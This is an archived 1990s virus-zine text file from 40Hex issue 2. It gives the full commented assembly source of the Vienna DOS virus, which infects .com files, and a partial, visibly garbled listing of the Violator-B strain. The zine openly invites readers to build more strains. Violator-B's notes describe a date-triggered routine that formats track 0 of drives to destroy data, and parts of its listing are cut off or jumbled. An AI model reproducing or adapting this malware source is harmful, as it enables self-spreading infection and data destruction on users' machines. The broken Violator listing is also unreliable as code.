home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / 40hex_2.011 < prev    next >
Text File  |  1995-01-03  |  36KB  |  1,052 lines

  1. 40hEX vOLUME 1 iSSUE 2                                                   0011
  2.  
  3.                       vIENNA AND vIOLATOR vIRUSES
  4.  
  5.     tHE vIENNA VIRUS, SINCE IT'S SOURCE CODE WAS RELEASED, HAS BECOME
  6.     ONE OF THE MOST COMMON VIRUSES EVER.  nOT ONLY THAT BUT THERE ARE
  7.     OVER 20 KNOWN STRAINS OF THIS VIRUS.  wE AT 40hEX WANT TO ADD ON TO
  8.     THE LIST BY GIVING OUT THE SOURCE FOR THE ORGINAL vIENNA VIRUS AS
  9.     WELL AS THE vIOL
  10. ATOR-b SOURCE BY rABID.
  11.  
  12. ------------------------------------------------------------------------------
  13.  
  14. mov_cx  macro   x
  15.         db      0b9h
  16.         dw      x
  17. endm
  18.  
  19.  
  20. code    segment
  21.         assume ds:code,ss:code,cs:code,es:code
  22.         org     $+0100h
  23.  
  24. ;*****************************************************************************
  25. ;sTART OUT WITH A jmp AROUND THE REMAINS OF THE ORIGINAL .com FILE, INTO THE
  26. ;VIRUS. tHE ACTUAL .com FILE WAS JUST AN int 20, FOLLOWED BY A BUNCH OF nops.
  27. ;tHE REST OF THE FILE (FIRST 3 BYTES) ARE STORED IN THE VIRUS DATA AREA.
  28. ;*****************************************************************************
  29.  
  30. vcode:  jmp     VIRUS
  31.  
  32.  
  33. ;tHIS WAS THE REST  OF THE ORIGINAL .com FILE. tINY AND SIMPLE, THIS TIME
  34.  
  35.         nop
  36.         nop
  37.         nop
  38.         nop
  39.         nop
  40.         nop
  41.         nop
  42.         nop
  43.         nop
  44.         nop
  45.         nop
  46.         nop
  47.         nop
  48.         nop
  49.         nop
  50.  
  51.  
  52. ;************************************************************
  53. ;
  54.   tHE ACTUAL VIRUS STARTS HERE
  55. ;************************************************************
  56.  
  57. V_START EQU     $
  58.  
  59.  
  60. VIRUS:  push    cx
  61.         mov     dx,offset VIR_DAT       ;tHIS IS WHERE THE VIRUS DATA STARTS.
  62.                                         ; tHE 2ND AND 3RD BYTES GET MODIFIED.
  63.         cld                             ;pOINTERS WILL BE AUTO inCREMENTED
  64.         mov     si,dx                   ;aCCESS DATA AS OFFSET FROM si
  65.         add     si,FIRST_3              ;pOINT TO ORIGINAL 1ST 3 BYTES OF .com
  66.         mov     di,offset 100h          ;CAUSE ALL .com FILES START AT 100h
  67.         mov     cx,3
  68.         repz    movsb                   ;rESTORE ORIGINAL FIRST 3 BYTES OF .com
  69.         mov     si,dx                   ;kEEP si POINTING TO THE DATA AREA
  70.  
  71. ;*************************************************************
  72. ;                   cHECK THE dos VERSION
  73. ;*************************************************************
  74.  
  75.         mov     ah,30h
  76.         int     21h
  77.  
  78.         cmp     al,
  79. 0                    ;0 MEANS IT'S VERSION 1.x
  80.  
  81.         jnz     DOS_OK                  ;fOR VERSION 2.0 OR GREATER
  82.         jmp     QUIT                    ;dON'T TRY TO INFECT VERSION 1.x
  83.  
  84.  
  85. ;*************************************************************
  86. ;  hERE IF THE dos VERSION IS HIGH ENOUGH FOR THIS TO WORK
  87. ;*************************************************************
  88.  
  89. DOS_OK: push    es
  90.  
  91.  
  92. ;*************************************************************
  93. ;               gET dta ADDRESS INTO es:bx
  94. ;*************************************************************
  95.  
  96.         mov     ah,2fh
  97.         int     21h
  98.  
  99. ;*************************************************************
  100. ;                    sAVE THE dta ADDRESS
  101. ;*************************************************************
  102.  
  103.  
  104.         mov     [si+OLD_DTA],bx
  105.         mov     [si+OLD_DTS],es         ;sAVE THE dta ADDRESS
  106.  
  107.         pop     es
  108.  
  109. ;*************************************************************
  110. ;        sET dta TO POINT INSIDE THE VIR
  111. US DATA AREA
  112. ;*************************************************************
  113.  
  114.         mov     dx,DTA                  ;oFFSET OF NEW dta IN VIRUS DATA AREA
  115. ;       nop                             ;masm WILL ADD THIS nop HERE
  116.         add     dx,si                   ;cOMPUTE dta ADDRESS
  117.         mov     ah,1ah
  118.         int     21h                     ;sET NEW dta TO INSIDE OUR OWN CODE
  119.  
  120.  
  121.         push    es
  122.         push    si
  123.         mov     es,ds:2ch
  124.         mov     di,0                    ;es:di POINTS TO ENVIRONMENT
  125.  
  126. ;************************************************************
  127. ;        fIND THE "path=" STRING IN THE ENVIRONMENT
  128. ;************************************************************
  129.  
  130. FIND_PATH:
  131.         pop     si
  132.         push    si                      ;gET si BACK
  133.         add     si,ENV_STR              ;pOINT TO "path=" STRING IN DATA AREA
  134.         lodsb
  135.         mov     cx,offset 8000h         ;eNVIRONMENT CAN BE 32768 BYTES LONG
  136.         repnz   scasb                   ;sEARCH FOR
  137.  FIRST CHARACTER
  138.         mov     cx,4
  139.  
  140. ;************************************************************
  141. ;       lOOP TO CHECK FOR THE NEXT FOUR CHARACTERS
  142. ;************************************************************
  143.  
  144. CHECK_NEXT_4:
  145.         lodsb
  146.         scasb
  147.         jnz     FIND_PATH               ;iF NOT ALL THERE, ABORT & START OVER
  148.         loop    CHECK_NEXT_4            ;lOOP TO CHECK THE NEXT CHARACTER
  149.  
  150.         pop     si
  151.         pop     es
  152.         mov     [si+PATH_AD],di         ;sAVE THE ADDRESS OF THE path
  153.         mov     di,si
  154.         add     di,WRK_SPC              ;fILE NAME WORKSPACE
  155.         mov     bx,si                   ;sAVE A COPY OF si
  156.         add     si,WRK_SPC              ;pOINT si TO WORKSPACE
  157.         mov     di,si                   ;pOINT di TO WORKSPACE
  158.         jmp     short   SLASH_OK
  159.  
  160.  
  161. ;**********************************************************
  162. ;     lOOK IN THE path FOR MORE SUBDIRECTORIES, IF ANY
  163. ;**********************************************************
  164.  
  165. SET
  166. _SUBDIR:
  167.         cmp     word ptr [si+PATH_AD],0 ;iS path STRING ENDED?
  168.         jnz     FOUND_SUBDIR            ;iF NOT, THERE ARE MORE SUBDIRECTORIES
  169.         jmp     ALL_DONE                ;eLSE, WE'RE ALL DONE
  170.  
  171.  
  172. ;**********************************************************
  173. ;    hERE IF THERE ARE MORE SUBDIRECTORIES IN THE PATH
  174. ;**********************************************************
  175.  
  176. FOUND_SUBDIR:
  177.         push    ds
  178.         push    si
  179.         mov     ds,es:2ch               ;ds POINTS TO ENVIRONMENT SEGMENT
  180.         mov     di,si
  181.         mov     si,es:[di+PATH_AD]      ;si = path ADDRESS
  182.         add     di,WRK_SPC              ;di POINTS TO FILE NAME WORKSPACE
  183.  
  184.  
  185. ;***********************************************************
  186. ;      mOVE SUBDIRECTORY NAME INTO FILE NAME WORKSPACE
  187. ;***********************************************************
  188.  
  189. MOVE_SUBDIR:
  190.         lodsb                           ;gET CHARACTER
  191.         cmp     al,';'                  ;iS IT A ';' DELIMITER?
  192.         jz
  193. MOVED_ONE               ;yES, FOUND ANOTHER SUBDIRECTORY
  194.         cmp     al,0                    ;eND OF path STRING?
  195.         jz      MOVED_LAST_ONE          ;yES
  196.         stosb                           ;sAVE path MARKER INTO [di]
  197.         jmp     short   MOVE_SUBDIR
  198.  
  199. ;******************************************************************
  200. ; mARK THE FACT THAT WE'RE LOOKING THROUGH THE FINAL SUBDIRECTORY
  201. ;******************************************************************
  202.  
  203. MOVED_LAST_ONE:
  204.         mov     si,0
  205.  
  206.  
  207. ;******************************************************************
  208. ;              hERE AFTER WE'VE MOVED A SUBDIRECTORY
  209. ;******************************************************************
  210.  
  211. MOVED_ONE:
  212.         pop     bx                      ;pOINTER TO VIRUS DATA AREA
  213.         pop     ds                      ;rESTORE ds
  214.         mov     [bx+PATH_AD],si         ;aDDRESS OF NEXT SUBDIRECTORY
  215.         nop
  216.  
  217. ;******************************************************************
  218. ;             mAKE
  219.  SURE SUBDIRECTORY ENDS IN A "\"
  220. ;******************************************************************
  221.  
  222.         cmp     ch,'\'                  ;eNDS WITH "\"?
  223.         jz      SLASH_OK                ;iF YES
  224.         mov     al,'\'                  ;aDD ONE, IF NOT
  225.         stosb
  226.  
  227.  
  228. ;******************************************************************
  229. ;     hERE AFTER WE KNOW THERE'S A BACKSLASH AT END OF SUBDIR
  230. ;******************************************************************
  231.  
  232. SLASH_OK:
  233.         mov     [bx+NAM_PTR],di         ;sET FILENAME POINTER TO NAME WORKSPACE
  234.         mov     si,bx                   ;rESTORE si
  235.         add     si,F_SPEC               ;pOINT TO "*.com"
  236.         mov     cx,6
  237.         repz    movsb                   ;mOVE "*.com",0 TO WORKSPACE
  238.  
  239.         mov     si,bx
  240.  
  241.  
  242. ;*******************************************************************
  243. ;                 fIND FIRST STRING MATCHING *.com
  244. ;*******************************************************************
  245.  
  246.         mov     a
  247. h,4eh
  248.         mov     dx,WRK_SPC
  249. ;       nop                             ;masm WILL ADD THIS nop HERE
  250.         add     dx,si                   ;dx POINTS TO "*.com" IN WORKSPACE
  251.         mov     cx,3                    ;aTTRIBUTES OF rEAD oNLY OR hIDDEN ok
  252.         int     21h
  253.  
  254.         jmp     short   FIND_FIRST
  255.  
  256.  
  257. ;*******************************************************************
  258. ;              fIND NEXT asciiz STRING MATCHING *.com
  259. ;*******************************************************************
  260.  
  261. FIND_NEXT:
  262.         mov     ah,4fh
  263.         int     21h
  264.  
  265. FIND_FIRST:
  266.         jnb     FOUND_FILE              ;jUMP IF WE FOUND IT
  267.         jmp     short   SET_SUBDIR      ;oTHERWISE, GET ANOTHER SUBDIRECTORY
  268.  
  269. ;*******************************************************************
  270. ;                      hERE WHEN WE FIND A FILE
  271. ;*******************************************************************
  272.  
  273. FOUND_FILE:
  274.         mov     ax,[si+DTA_TIM]         ;gET TIME FROM dta
  275.         and     al,1fh
  276.           ;mASK TO REMOVE ALL BUT SECONDS
  277.         cmp     al,1fh                  ;62 SECONDS -> ALREADY INFECTED
  278.         jz      FIND_NEXT               ;iF SO, GO FIND ANOTHER FILE
  279.  
  280.         cmp     word ptr [si+DTA_LEN],offset 0fa00h ;iS THE FILE TOO LONG?
  281.         ja      FIND_NEXT               ;iF TOO LONG, FIND ANOTHER ONE
  282.  
  283.         cmp     word ptr [si+DTA_LEN],0ah ;iS IT TOO SHORT?
  284.         jb      FIND_NEXT               ;tHEN GO FIND ANOTHER ONE
  285.  
  286.         mov     di,[si+NAM_PTR]         ;di POINTS TO FILE NAME
  287.         push    si                      ;sAVE si
  288.         add     si,DTA_NAM              ;pOINT si TO FILE NAME
  289.  
  290. ;********************************************************************
  291. ;                mOVE THE NAME TO THE END OF THE PATH
  292. ;********************************************************************
  293.  
  294. MORE_CHARS:
  295.         lodsb
  296.         stosb
  297.         cmp     al,0
  298.         jnz     MORE_CHARS              ;mOVE CHARACTERS UNTIL WE FIND A 00
  299.  
  300.  
  301. ;******************************
  302. **************************************
  303. ;                        gET fILE aTTRIBUTES
  304. ;********************************************************************
  305.  
  306.         pop     si
  307.         mov     ax,offset 4300h
  308.         mov     dx,WRK_SPC              ;pOINT TO \PATH\NAME IN WORKSPACE
  309. ;       nop                             ;masm WILL ADD THIS nop HERE
  310.         add     dx,si
  311.         int     21h
  312.  
  313.  
  314.         mov     [si+OLD_ATT],cx         ;sAVE THE OLD ATTRIBUTES
  315.  
  316.  
  317. ;********************************************************************
  318. ;         rEWRITE THE ATTRIBUTES TO ALLOW WRITING TO THE FILE
  319. ;********************************************************************
  320.  
  321.         mov     ax,offset 4301h         ;sET ATTRIBUTES
  322.         and     cx,offset 0fffeh        ;sET ALL EXCEPT "READ ONLY" (WEIRD)
  323.         mov     dx,WRK_SPC              ;oFFSET OF \PATH\NAME IN WORKSPACE
  324. ;       nop                             ;masm WILL ADD THIS nop HERE
  325.         add     dx,si                   ;pOINT TO \PATH\NAME
  326.  
  327.         int     21h
  328.  
  329. ;********************************************************************
  330. ;                oPEN rEAD/wRITE CHANNEL TO THE FILE
  331. ;********************************************************************
  332.  
  333.         mov     ax,offset 3d02h         ;rEAD/wRITE
  334.         mov     dx,WRK_SPC              ;oFFSET TO \PATH\NAME IN WORKSPACE
  335. ;       nop                             ;masm WILL ADD THIS nop HERE
  336.         add     dx,si                   ;pOINT TO \PATH\NAME
  337.         int     21h
  338.  
  339.         jnb     OPENED_OK               ;iF FILE WAS OPENED ok
  340.         jmp     FIX_ATTR                ;iF IT FAILED, RESTORE THE ATTRIBUTES
  341.  
  342.  
  343. ;*******************************************************************
  344. ;                        gET THE FILE DATE & TIME
  345. ;*******************************************************************
  346.  
  347. OPENED_OK:
  348.         mov     bx,ax
  349.         mov     ax,offset 5700h
  350.         int     21h
  351.  
  352.         mov     [si+OLD_TIM],cx         ;sAVE FILE TIME
  353.         mov     [si+OL_DATE],dx
  354.        ;sAVE THE DATE
  355.  
  356. ;*******************************************************************
  357. ;                        gET CURRENT SYSTEM TIME
  358. ;*******************************************************************
  359.  
  360.         mov     ah,2ch
  361.         int     21h
  362.  
  363.  
  364.         and     dh,7                    ;lAST 3 BITS 0? (ONCE IN EIGHT)
  365.         jnz     SEVEN_IN_EIGHT
  366.  
  367.  
  368. ;*******************************************************************
  369. ; tHE SPECIAL "ONE IN EIGHT" INFECTION. iF THE ABOVE LINE WERE IN
  370. ;  ITS ORIGINAL FORM, THIS CODE WOULD BE RUN 1/8 OF THE TIME, AND
  371. ;  RATHER THAN APPENDING A COPY OF THIS VIRUS TO THE .com FILE, THE
  372. ;  FILE WOULD GET 5 BYTES OF CODE THAT REBOOT THE SYSTEM WHEN THE
  373. ;  .com FILE IS RUN.
  374. ;*******************************************************************
  375.  
  376.  
  377.         mov     ah,40h                  ;wRITE TO FILE
  378.         mov     cx,5                    ;fIVE BYTES
  379.         mov     dx,si
  380.         add     dx,REBOOT               ;oFFSET OF REBOOT CODE IN DATA AREA
  381.  
  382.  int     21h
  383.  
  384.         jmp     short   FIX_TIME_STAMP
  385.  
  386.         nop
  387.  
  388.  
  389. ;******************************************************************
  390. ;      hERE'S WHERE WE INFECT A .com FILE WITH THIS VIRUS
  391. ;******************************************************************
  392.  
  393. SEVEN_IN_EIGHT:
  394.         mov     ah,3fh
  395.         mov     cx,3
  396.         mov     dx,FIRST_3
  397. ;       nop                     ;masm WILL ADD THIS nop HERE
  398.         add     dx,si
  399.         int     21h             ;sAVE FIRST 3 BYTES INTO THE DATA AREA
  400.  
  401.         jb      FIX_TIME_STAMP  ;qUIT, IF READ FAILED
  402.  
  403.         cmp     ax,3            ;wERE WE ABLE TO READ ALL 3 BYTES?
  404.         jnz     FIX_TIME_STAMP  ;qUIT, IF NOT
  405.  
  406.  
  407. ;******************************************************************
  408. ;              mOVE FILE POINTER TO END OF FILE
  409. ;******************************************************************
  410.  
  411.         mov     ax,offset 4202h
  412.         mov     cx,0
  413.         mov     dx,0
  414.         int     21h
  415.  
  416.         jb      FIX_TIME_STAMP  ;qUIT, IF IT
  417. DIDN'T WORK
  418.  
  419.         mov     cx,ax           ;dx:ax (LONG INT) = FILE SIZE
  420.         sub     ax,3            ;sUBTRACT 3 (ok, SINCE dx MUST BE 0, HERE)
  421.         mov     [si+JMP_DSP],ax ;sAVE THE DISPLACEMENT IN A jmp INSTRUCTION
  422.  
  423.         add     cx,offset C_LEN_Y
  424.         mov     di,si           ;pOINT di TO VIRUS DATA AREA
  425.         sub     di,offset C_LEN_X
  426.                                 ;pOINT di TO REFERENCE VIR_DAT, AT START OF PGM
  427.         mov     [di],cx         ;mODIFY VIR_DAT REFERENCE:2ND, 3RD BYTES OF PGM
  428.  
  429.  
  430. ;*******************************************************************
  431. ;                    wRITE VIRUS CODE TO FILE
  432. ;*******************************************************************
  433.  
  434.         mov     ah,40h
  435.  
  436.         mov_cx  VIRLEN                  ;lENGTH OF VIRUS, IN BYTES
  437.  
  438.         mov     dx,si
  439.         sub     dx,offset CODELEN       ;lENGTH OF VIRUS CODE, GIVES STARTING
  440.                                         ; ADDRESS OF VIRUS CODE IN MEMORY
  441.         int     21h
  442.  
  443.         jb
  444.       FIX_TIME_STAMP          ;jUMP IF ERROR
  445.  
  446.         cmp     ax,offset VIRLEN        ;aLL BYTES WRITTEN?
  447.         jnz     FIX_TIME_STAMP          ;jUMP IF ERROR
  448.  
  449.  
  450. ;**********************************************************************
  451. ;                mOVE FILE POINTER TO BEGINNING OF THE FILE
  452. ;**********************************************************************
  453.  
  454.         mov     ax,offset 4200h
  455.         mov     cx,0
  456.         mov     dx,0
  457.         int     21h
  458.  
  459.         jb      FIX_TIME_STAMP          ;jUMP IF ERROR
  460.  
  461.  
  462. ;**********************************************************************
  463. ;              wRITE THE 3 BYTE jmp AT THE START OF THE FILE
  464. ;**********************************************************************
  465.  
  466.         mov     ah,40h
  467.         mov     cx,3
  468.         mov     dx,si                   ;vIRUS DATA AREA
  469.         add     dx,JMP_OP               ;pOINT TO THE RECONSTRUCTED jmp
  470.         int     21h
  471.  
  472.  
  473. ;**********************************************************************
  474. ;
  475.  rESTORE OLD FILE DATE & TIME, WITH SECONDS MODIFIED TO 62
  476. ;**********************************************************************
  477.  
  478. FIX_TIME_STAMP:
  479.         mov     dx,[si+OL_DATE]         ;oLD FILE DATE
  480.         mov     cx,[si+OLD_TIM]         ;oLD FILE TIME
  481.         and     cx,offset 0ffe0h
  482.         or      cx,1fh                  ;sECONDS = 31/30 MIN = 62 SECONDS
  483.         mov     ax,offset 5701h
  484.         int     21h
  485.  
  486.  
  487. ;**********************************************************************
  488. ;                              cLOSE fILE
  489. ;**********************************************************************
  490.  
  491.         mov     ah,3eh
  492.         int     21h
  493.  
  494.  
  495. ;**********************************************************************
  496. ;                     rESTORE oLD fILE aTTRIBUTES
  497. ;**********************************************************************
  498.  
  499. FIX_ATTR:
  500.         mov     ax,offset 4301h
  501.         mov     cx,[si+OLD_ATT]         ;oLD aTTRIBUTES
  502.         mov     dx,WRK_SPC
  503. ;       nop
  504.            ;masm WILL ADD THIS nop
  505.         add     dx,si                   ;dx POINTS TO \PATH\NAME IN WORKSPACE
  506.         int     21h
  507.  
  508.  
  509. ;**********************************************************************
  510. ;              hERE WHEN IT'S TIME TO CLOSE IT UP & END
  511. ;**********************************************************************
  512.  
  513. ALL_DONE:
  514.         push    ds
  515.  
  516.  
  517. ;**********************************************************************
  518. ;                         rESTORE OLD dta
  519. ;**********************************************************************
  520.  
  521.         mov     ah,1ah
  522.         mov     dx,[si+OLD_DTA]
  523.         mov     ds,[si+OLD_DTS]
  524.         int     21h
  525.  
  526.         pop     ds
  527.  
  528.  
  529. ;*************************************************************************
  530. ; cLEAR REGISTERS USED, & DO A WEIRD KIND OF jmp 100. tHE WEIRDNESS COMES
  531. ;  IN SINCE THE ADDRESS IN A REAL jmp 100 IS AN OFFSET, AND THE OFFSET
  532. ;  VARIES FROM ONE INFECTED FILE TO THE NEXT. bY pushING AN 0100h ONTO THE
  533. ;  STACK, WE CAN ret T
  534. O ADDRESS 0100h JUST AS THOUGH WE jmpED THERE.
  535. ;**********************************************************************
  536.  
  537. QUIT:
  538.         pop     cx
  539.         xor     ax,ax
  540.         xor     bx,bx
  541.         xor     dx,dx
  542.         xor     si,si
  543.         mov     di,offset 0100h
  544.         push    di
  545.         xor     di,di
  546.  
  547.         ret     0ffffh
  548.  
  549. ;************************************************************************
  550. ;tHE VIRUS DATA STARTS HERE. iT'S ACCESSED OFF THE si REGISTER, PER THE
  551. ; COMMENTS AS SHOWN
  552. ;************************************************************************
  553.  
  554. VIR_DAT equ     $
  555.  
  556.  
  557.         ;uSE THIS WITH (si + OLD_DTA)
  558. OLDDTA_ dw      0                       ;oLD dta OFFSET
  559.  
  560.         ;uSE THIS WITH (si + OLD_DTS)
  561. OLDDTS_ dw      0                       ;oLD dta SEGMENT
  562.  
  563.         ;uSE THIS WITH (si + OLD_TIM)
  564. OLDTIM_ dw      0                       ;oLD tIME
  565.  
  566.         ;uSE THIS WITH (si + OL_DATE)
  567. OLDATE_ dw      0                       ;oLD DATE
  568.  
  569.         ;uSE THIS WITH (si + OLD_ATT)
  570. O
  571. LDATT_ dw      0                       ;oLD FILE ATTRIBUTES
  572.  
  573.  
  574.  
  575. ;hERE'S WHERE THE FIRST THREE BYTES OF THE ORIGINAL .com FILE GO.(si + FIRST_3)
  576.  
  577. FIRST3_ equ     $
  578.         int     20h
  579.         nop
  580.  
  581.  
  582.  
  583. ;hERE'S WHERE THE NEW jmp INSTRUCTION IS WORKED OUT
  584.  
  585.         ;uSE THIS WITH (si + JMP_OP)
  586. JMPOP_  db      0e9h                    ;sTART OF jmp INSTRUCTION
  587.  
  588.         ;uSE THIS WITH (si + JMP_DSP)
  589. JMPDSP_ dw      0                       ;tHE DISPLACEMENT PART
  590.  
  591.  
  592.  
  593. ;tHIS IS THE TYPE OF FILE  WE'RE LOOKING TO INFECT. (si + F_SPEC)
  594.  
  595. FSPEC_  db      '*.com',0
  596.  
  597.         ;uSE THIS WITH (si + PATH_AD)
  598. PATHAD_ dw      0                       ;pATH ADDRESS
  599.  
  600.         ;uSE THIS WITH (si + NAM_PTR)
  601. NAMPTR_ dw      0                       ;pOINTER TO START OF FILE NAME
  602.  
  603.         ;uSE THIS WITH (si + ENV_STR)
  604. ENVSTR_ db      'path='                 ;fIND THIS IN THE ENVIRONMENT
  605.  
  606.         ;fILE NAME WORKSPACE (si + WRK_SPC)
  607. WRKSPC_ db      40H DUP (0)
  608.  
  609.         ;uSE THIS WITH (si + DTA)
  610. DTA_    db      16H DUP (0)
  611.            ;tEMPORARY dta GOES HERE
  612.  
  613.         ;uSE THIS WITH (si + DTA_TIM)
  614. DTATIM_ dw      0,0                     ;tIME STAMP IN dta
  615.  
  616.         ;uSE THIS WITH (si + DTA_LEN)
  617. DTALEN_ dw      0,0                     ;fILE LENGTH IN THE dta
  618.  
  619.         ;uSE THIS WITH (si + DTA_NAM)
  620. DTANAM_ db      0dH DUP (0)             ;fILE NAME IN THE dta
  621.  
  622.         ;uSE THIS WITH (si + REBOOT)
  623. REBOOT_ db      0eah,0f0h,0ffh,0ffh,0ffh ;fIVE BYTE far jmp TO ffff:fff0
  624.  
  625.  
  626. LST_BYT equ     $                       ;aLL LINES THAT ASSEMBLE INTO CODE ARE
  627.                                         ;  ABOVE THIS ONE
  628.  
  629.  
  630. ;*****************************************************************************
  631. ;tHE VIRUS NEEDS TO KNOW A FEW DETAILS ABOUT ITS OWN SIZE AND THE SIZE OF ITS
  632. ; CODE PORTION. lET THE ASSEMBLER FIGURE OUT THESE SIZES AUTOMATICALLY.
  633. ;*****************************************************************************
  634.  
  635. VIRLEN  =       LST_BYT - V_START       ;lENGTH, IN BYTES, OF THE ENTIRE VIRUS
  636. CODELEN =       VIR_DA
  637. T - V_START       ;lENGTH OF VIRUS CODE, ONLY
  638. C_LEN_X =       VIR_DAT - V_START - 2   ;dISPLACEMENT FOR SELF-MODIFYING CODE
  639. C_LEN_Y =       VIR_DAT - V_START + 100h ;cODE LENGTH + 100H, FOR psp
  640.  
  641.  
  642. ;*****************************************************************************
  643. ;bECAUSE THIS CODE IS BEING APPENDED TO THE END OF AN EXECUTABLE FILE, THE
  644. ; EXACT ADDRESS OF ITS VARIABLES CANNOT BE KNOWN. aLL ARE ACCESSED AS OFFSETS
  645. ; FROM si, WHICH IS REPRESENTED AS VIR_DAT IN THE BELOW DECLARATIONS.
  646. ;*****************************************************************************
  647.  
  648. OLD_DTA =       OLDDTA_ - VIR_DAT       ;dISPLACEMENT TO THE OLD dta OFFSET
  649. OLD_DTS =       OLDDTS_ - VIR_DAT       ;dISPLACEMENT TO THE OLD dta SEGMENT
  650. OLD_TIM =       OLDTIM_ - VIR_DAT       ;dISPLACEMENT TO OLD FILE TIME STAMP
  651. OL_DATE =       OLDATE_ - VIR_DAT       ;dISPLACEMENT TO OLD FILE DATE STAMP
  652. OLD_ATT =       OLDATT_ - VIR_DAT       ;dISPLACEMENT TO OLD ATTRIBUTES
  653. FIRST_3 =       FIRST3_ - VIR_DAT       ;dI
  654. SPLACEMENT-1ST 3 BYTES OF OLD .com
  655. JMP_OP  =       JMPOP_  - VIR_DAT       ;dISPLACEMENT TO THE jmp OPCODE
  656. JMP_DSP =       JMPDSP_ - VIR_DAT       ;dISPLACEMENT TO THE 2ND 2 BYTES OF jmp
  657. F_SPEC  =       FSPEC_  - VIR_DAT       ;dISPLACEMENT TO THE "*.com" STRING
  658. PATH_AD =       PATHAD_ - VIR_DAT       ;dISPLACEMENT TO THE PATH ADDRESS
  659. NAM_PTR =       NAMPTR_ - VIR_DAT       ;dISPLACEMENT TO THE FILENAME POINTER
  660. ENV_STR =       ENVSTR_ - VIR_DAT       ;dISPLACEMENT TO THE "path=" STRING
  661. WRK_SPC =       WRKSPC_ - VIR_DAT       ;dISPLACEMENT TO THE FILENAME WORKSPACE
  662. DTA     =       DTA_    - VIR_DAT       ;dISPLACEMENT TO THE TEMPORARY dta
  663. DTA_TIM =       DTATIM_ - VIR_DAT       ;dISPLACEMENT TO THE TIME IN THE dta
  664. DTA_LEN =       DTALEN_ - VIR_DAT       ;dISPLACEMENT TO THE LENGTH IN THE dta
  665. DTA_NAM =       DTANAM_ - VIR_DAT       ;dISPLACEMENT TO THE NAME IN THE dta
  666. REBOOT  =       REBOOT_ - VIR_DAT       ;dISPLACEMENT TO THE 5 BYTE REBOOT CODE
  667.  
  668.         code    ends
  669. end     vcode
  670.  
  671. ----
  672. --------------------------------------------------------------------------
  673.  
  674.                   nOW HERE'S THE SOURCE FOR vIOLATOR-b
  675.  
  676. ------------------------------------------------------------------------------
  677. ;*****************************************************************************
  678. ;
  679. ;                           vIOLATOR - sTRAIN b
  680. ;
  681. ;*****************************************************************************
  682. ;
  683. ; (aUG/09/90)
  684. ;
  685. ; dEVELOPMENT nOTES:
  686. ;
  687. ; i ENCOUNTERED SEVERAL ERRORS IN THE ORIGINAL vIOLATOR CODE WHICH i
  688. ;    CORRECTED IN THIS VERSION. mAINLY, THE int 26 ROUTINE TO FUCK THE
  689. ;     DISK. iT SEEMS THAT THE ROUTINE WOULD CRASH RIGHT AFTER THE int 26
  690. ;    WAS EXECUTED AND THE WHOLE PROGRAM WOULD DIE. i HAVE SINCE FIXED
  691. ;      THIS PROBLEM IN THIS VERSION WITH AN int 13, ah 05 (fORMAT tRACK)
  692. ;     COMMAND. tHIS WORKS BETTER THAN THE SUBSEQUENT int 26.
  693. ;
  694. ;
  695. ;*****************************************************************************
  696. ;
  697. ;                      wRITTEN BY -
  698.  pROGRAMMER
  699. ;
  700. ;                                rEVISED BY: ┐oNSLAUGHT▀
  701. ;                               nO AFFILIATION WITH RABiD
  702. ;
  703. ;              cOPYRIGHT (c) 1990 BY rabid nAT'NL dEVELOPMENT cORP.
  704. ;
  705. ;*****************************************************************************
  706.  
  707. mov_cx  macro   x
  708.         db      0b9h
  709.         dw      x
  710. endm
  711.  
  712. code    segment
  713.         assume ds:code,ss:code,cs:code,es:code
  714.         org     $+0100h                          ; sET org TO 100h PLUS OUR OWN
  715.  
  716. vcode:  jmp     VIRUS
  717.  
  718.  nop
  719.     nop
  720.     nop                                     ;15 nop'S TO PLACE jmp hEADER
  721.   nop
  722.     nop
  723.     nop
  724.     nop
  725.     nop
  726.     nop
  727.     nop
  728.     nop
  729.     nop
  730.     nop
  731.     nop
  732.     nop
  733.  
  734. V_START EQU     $
  735.  
  736.  
  737. VIRUS:  push    cx
  738.         mov     dx,offset VIR_DAT
  739.         cld
  740.         mov     si,dx
  741.         add     si,FIRST_3
  742.      mov     cx,3
  743.         mov     di,offset 100h
  744.         repz    movsb
  745.         mov     si,dx
  746.         mov     ah,30h
  747.  int     21h
  748.     cmp     al,0
  749.      mov     [si+OLD_DTS],es
  750.         pop     es
  751.         mov     dx,DTA                  
  752.         add     dx,si                    
  753.         mov     ah,1ah
  754.         int     21h                     
  755.         push    es
  756.         push    si
  757.         mov     es,ds:2ch
  758.         mov     di,0                    
  759.     jmp     YEAR_CHECK
  760.  
  761. YEAR_CHECK:
  762.         mov     ah,2ah                  ;gET DATE INFO
  763.  int     21h                     ;cALL dos
  764.       cmp     cx,1990                 ;cHECK TO SEE IF THE YEAR IS 1990
  765.       jge     MONTH_CHECK             ;iF GREATER OR EQUAL, CHECK MONTH
  766.       jmp     FIND_PATH               ;iF NOT, GO ON WITH INFECTION
  767.  
  768. MONTH_CHECK:
  769.     mov     ah,2ah                  ;gET DATE INFO
  770.  int     21H                     ;cALL dos
  771.       cmp     dh,10                   ;cHECK TO SEE IF IT IS sEPTEMBER
  772.        jge     DAY_CHECK               ;iF GREATER OR EQUAL, CHECK DAY
  773.         jmp     FIND_PATH               ;IF NOT, GO ON WITH INFECTION
  774.  
  775. DAY_CHECK:
  776.       mov     ah,2aH
  777. LTER                    ;gO AND KILL THE DRIVE
  778.                                         ;25 IS DRIVE z:
  779.  cmp     CNTR,25                 ;iS (CNTR) 25 ?
  780.         je      FIND_PATH               ;gO ON WITH INFECTION
  781.   inc     CNTR                    ;aDD ONE TO (CNTR)
  782.      loop    MULTIPLEX               ;lOOP BACK UP TO KILL NEXT DRIVE
  783.  
  784. ALTER:
  785.        mov     ah,05                   ;fORMAT tRACK
  786.   mov     ch,0                    ;fORMAT TRACK 0
  787.         mov     dh,0                    ;hEAD 0
  788.         mov     dl,CNTR                 ;fORMAT FOR DRIVE IN (CNTR)
  789.     int     13H                     ;cALL rwts
  790.      ret                             ;rETURN UP FOR NEXT DRIVE
  791.  
  792. FIND_PATH:
  793.         pop     si
  794.         push    si
  795.         add     si,ENV_STR
  796.         lodsb
  797.         mov     cx,offset 8000h
  798.         repnz   scasb
  799.         mov     cx,4
  800.  
  801. CHECK_NEXT_4:
  802.         lodsb
  803.         scasb
  804. ;
  805. ; tHE jnz LINE SPECIFIES THAT IF THERE IS NO path PRESENT, THEN WE WILL GO
  806. ; ALONG AND INFECT THE root DIRECTORY ON
  807.   mov     [si+PATH_AD],di
  808.         mov     di,si
